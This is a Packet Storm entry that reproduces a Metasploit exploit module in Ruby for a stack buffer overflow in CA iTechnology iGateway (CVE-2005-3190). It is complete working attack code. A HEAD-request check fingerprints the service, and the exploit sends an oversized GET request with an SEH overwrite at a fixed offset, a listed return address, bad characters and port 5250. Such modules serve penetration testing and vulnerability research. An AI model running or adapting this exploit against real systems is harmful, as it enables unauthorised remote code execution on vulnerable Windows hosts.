CA iTechnology iGateway Debug Mode Buffer Overflow

2009-11-26T00:00:00
ID PACKETSTORM:83101
Type packetstorm
Reporter patrick
Modified 2009-11-26T00:00:00

Description

                                        
                                            `##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'CA iTechnology iGateway Debug Mode Buffer Overflow',  
'Description' => %q{  
This module exploits a vulnerability in the Computer Associates  
iTechnology iGateway component. When <Debug>True</Debug> is enabled  
in igateway.conf (non-default), it is possible to overwrite the stack  
and execute code remotely. This module works best with Ordinal payloads.  
},  
'Author' => 'patrick',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2005-3190' ],  
[ 'OSVDB', '19920' ],  
[ 'URL', 'http://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=33485' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/1243' ],  
[ 'BID', '15025' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x0a\x0d\x20",  
'StackAdjustment' => -3500,  
'Compat' =>   
{  
'ConnectionType' => '+ws2ord',  
},  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'iGateway 3.0.40621.0', { 'Ret' => 0x120bd9c4 } ], # p/p/r xerces-c_2_1_0.dll  
],  
'Privileged' => true,  
'DisclosureDate' => 'Oct 06 2005',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(5250),  
], self.class)  
end  
  
def check  
connect  
sock.put("HEAD / HTTP/1.0\r\n\r\n\r\n")  
banner = sock.get(-1,3)  
  
if (banner =~ /GET and POST methods are the only methods supported at this time/) # Unique?  
return Exploit::CheckCode::Detected  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
seh = generate_seh_payload(target.ret)  
buffer = Rex::Text.rand_text_alphanumeric(5000)  
buffer[1082, seh.length] = seh  
sploit = "GET /" + buffer + " HTTP/1.0"  
  
sock.put(sploit + "\r\n\r\n\r\n")  
  
disconnect  
handler  
end  
end  
`